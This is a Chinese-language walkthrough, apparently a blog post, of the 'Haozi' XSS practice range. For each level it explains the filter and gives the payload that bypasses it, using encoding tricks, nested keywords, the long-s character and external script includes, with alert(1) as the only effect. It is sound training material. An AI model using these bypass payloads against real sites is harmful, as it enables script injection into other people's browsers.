耗子XSS靶场
地址:https://xss.haozi.me/
感觉这个靶场的界面做的很不错,输入输出还有后端的源码能够一目了然,目标是弹出alert(1)
0x00
没有任何过滤就直接输出
<script>alert()</script>
0x01
输入的参数被包裹在文本框里面,我们只需要把前面的<textarea>
标签闭合,再添加<script>
标签即可
</textarea><script>alert()</script>
0x02
输入的参数作为<input>
标签的value回显到前端中,我们可以闭合掉value的值,再加上onclick事件即可
" onclick=alert() "
或者直接闭合掉<input>
标签,添其他的标签也行。
"> <img src=x onerror=alert()>
0x03
这一关把括号使用正则表达式给过滤掉了,
- 正则表达式
/[()]/g
- 末尾的g是全局匹配
- 两条斜杠是代表开始与结束的位置
- 方括号是表示匹配方括号中的任意字符
- 这个正则表达式的意思就是,全局匹配左括号和又括号
这里有几种绕过的方式
- 使用反引号代替
()
<img src="" onerror=alert`1`>
- 使用HTML编码标识
()
<img src=# onerror=alert(1)>
- 使用src属性引用外部js文件
<script src=http://127.0.0.1:81/XSS/xss.js ></script>
这里xss.js文件的内容是
alert(1)
0x04
这里不仅把()
过滤掉了,还把`
也过滤了,因此无法使用反引号代替括号的方法,但是0x03剩下的两种方法都可行。
0x05
这一关使用正则过滤了-->
,目的是想方式我们把注释的标签闭合掉,但是使用--!>
一样可以把注释标签闭合。
--!><script>alert(1)</script>
0x06
这一关把auto
、>
、on开头=结尾
的字符不区分大小写进行过滤,但是正则表达式没有过滤换行
type="image" src=x onerror
=alert(1)
0x07
服务器使用正则表达式,对<>
括起来的内容进行过滤替换成空,但是由于HTML
的容错性极高,所以,对于不闭合也能接受
<img src="" onerror=alert(1)
后面加空格或者回车才能触发
0x08
这里使用了正则匹配</style>
标签来防止我们闭合标签,我们在</script
和>
中间插入空格即可绕过
</style >
<script> alert(1) </script>
0x09
这里使用了正则匹配过滤了不是以https://www.sogmentfault.com
开头的字符串,并且把输入放到了<script>
标签的src
属性里面,所以我们先要构造以https://www.sogmentfault.com
开头的字符串,然后再把<script>
标签闭合,添加XSS攻击语句。
https://www.segmentfault.com"></script>
<script>alert(1)</script>
<script "
0x0A
这一关再0x09的基础上还把 &
、'
、"
、<
、>
、/
给转换为HTML实体编码,因此这一题无法使用闭合再添加标签的方式,需要用到HTML的@特性,请求Url:www.google.com@www.youtube.com
最后访问到是 YouTube , Google相当于做了一次跳转
https://www.segmentfault.com@xss.haozi.me/j.js
这里需要域名双方的协议(http或者https)一样才可以进行跳转,由于本地使用phpstudy搭建的服务器不是https协议的,因此无法使用本地的链接。
0x0B
这一关把输入的参数做了大写处理,由于HTML对大小写不敏感,但是JavaScript对大小写敏感,也就是ALERT()
无法执行,因此我们需要想办法绕过对JavaScript的的大写转换,这里有两种方法:
- 使用HTML编码绕过
<img src=x onerror=alert(1)>
- 利用外部JavaScript文件
由于URL对大小写也步敏感,所以我们可以引入外部的URL进行绕过
<script src=http://127.0.0.1:81/XSS/xss.js></script>
0x0C
这一题在0x0B的基础上把script
字符串也过滤了并且步区分大小写,绕过的方法很多,除了使用上题的第一种方法外,想引入外部JavaScript文件的话可以使用双写绕过:
<scrscriptipt src=http://127.0.0.1:81/XSS/xss.js></scrscriptipt>
0x0D
这一关过滤掉了<
、/
、"
、'
,并且在输出的<script>
标签内使用//
屏蔽掉里面的内容,但是由于是使用单行注释符,因此我们输入回车就会跳到下一行,从而逃出注释,而后面的')
可以使用-->
给注释掉。
alert(1);
-->
0x0E
服务器使用正则表达式对以<
开头后面接大小写字母进行替换成<_
加大写字母,导致几乎所有的标签都无法使用,由于HTML实体编码只能用在标签内部的属性或者事件里面,标签本身无法使用HTML实体编码绕过。
ſ
是古英语中的s的写法, 转成大写是正常的S
所以我们可以利用这点构造<script>
标签
<ſcript src="http://127.0.0.1:81/XSS/xss.js"></script>
0x0F
服务器对&
、 '
、"
、<
、 >
、 \
进行HTML实体编码,但是在HTML标签里面使用HTML实体编码没啥用,因为浏览器会解析HTML实体编码,所以将onerror的console.error闭合
绕过就行了
');alert('1
0x10
这里似乎没有做任何防御,直接随便赋一个值给window.data
,直接使用alert(1)
即可
1;alert(1);
0x11
服务器过滤了一大堆字符,并在其前面添加反斜杠进行转义
注意console.log("${s}")
,当我们输入一个双引号"
,正则会变成\"
,然后整条语句变成console.log("\"")
.这样反斜杠就失去转义的作用,相当于我们输入\\
,然后通过转义之后返回\\\\
,经过解析之后实际上就是\\
,所以依然可以使用\\
来注释掉后面的内容。
';alert(1)//
0x12
这里吧"
给转义了,目的是阻止我们把console.log("")
闭合,这里我们的方法是把它转义的\
给转义掉
\");alert(1);//